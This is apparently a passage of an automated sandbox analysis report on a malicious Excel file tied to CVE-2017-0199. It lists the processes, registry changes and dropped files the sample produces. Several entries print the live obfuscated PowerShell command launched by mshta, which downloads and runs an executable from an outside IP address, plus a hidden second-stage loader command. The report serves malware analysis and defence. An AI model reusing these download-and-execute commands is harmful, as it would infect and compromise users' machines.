Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\System32\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.pdbhP source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: 7C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.pdb source: powershell.exe, 00000005.00000002.444388800.0000000003546000.00000004.00000800.00020000.00000000.sdmp
Source: C0230000.0.dr Initial sample: OLE indicators vbamacros = False
Source: SecuriteInfo.com.Exploit.CVE-2017-0199.05.Gen.16537.13180.xlsx Initial sample: OLE indicators encrypted = True

Data Obfuscation
barindex
PowerShell case anomaly found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))"
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) "
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYstEm32\windowSpoWerSHell\V1.0\pOWeRSHelL.exe" "POWeRShELL -ex bYpaSS -NOP -W 1 -c DEvIcEcreDEnTiAlDepLoymENt.exE ; iEX($(iEX('[sYsTem.TeXt.ENcOdiNG]'+[cHaR]58+[ChAR]0X3A+'Utf8.gETSTRing([SySTeM.cOnVERt]'+[chAr]0x3a+[ChaR]58+'FrOMbASE64StRInG('+[ChAr]0X22+'JFZrYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFERC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1iZXJERUZpbmlUaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UmxtT24uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBna1ZRa2xsWixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga2hjcCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAga1ZQd3ZTLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSWl5cVNOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKTmopOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInRkeklWbkpaQllrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRXNQYWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFLeVYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkVmthOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3NS4xMTMuMjE0LzkwMi93YWxuZXh0LmV4ZSIsIiRFTnY6QVBQREFUQVx3bGFuZXh0LmV4ZSIsMCwwKTtzdEFSVC1zTGVFcCgzKTtzVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[cHAr]34+'))')))" Jump to behavior
Source: C:\Users\user\AppData\Roaming\wlanext.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "$Fervence=Get-Content -raw 'C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Nahani132.Udf';$Tuffen=$Fervence.SubString(71717,3);.$Tuffen($Fervence) " Jump to behavior
Compiles C# or VB.Net code
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.cmdline" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_000007FE899A022D push eax; iretd 5_2_000007FE899A0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_000007FE899A00BD pushad ; iretd 5_2_000007FE899A00C1
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_01711D8E push ds; iretd 17_2_01711E19
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_01712E4A push dword ptr [ebx]; retf 17_2_01712E50
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_01715210 push ecx; ret 17_2_01715211
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_01715C0A push ecx; iretd 17_2_01715C0B
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_017140D1 push esi; iretd 17_2_017140D2
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_017158D7 push edi; ret 17_2_017158D8
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_017100D9 push ss; retf 17_2_017100DA
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_017128B7 push eax; iretd 17_2_017128C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 17_2_017134B8 push eax; iretd 17_2_017134BA

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Drops PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\mobiliseredes\forbundsbank\Stofnd\wlanext.exe Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe File created: C:\Users\user\AppData\Local\Temp\muz5o0kx\muz5o0kx.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\walnext[1].exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\wlanext.exe Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\mshta.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
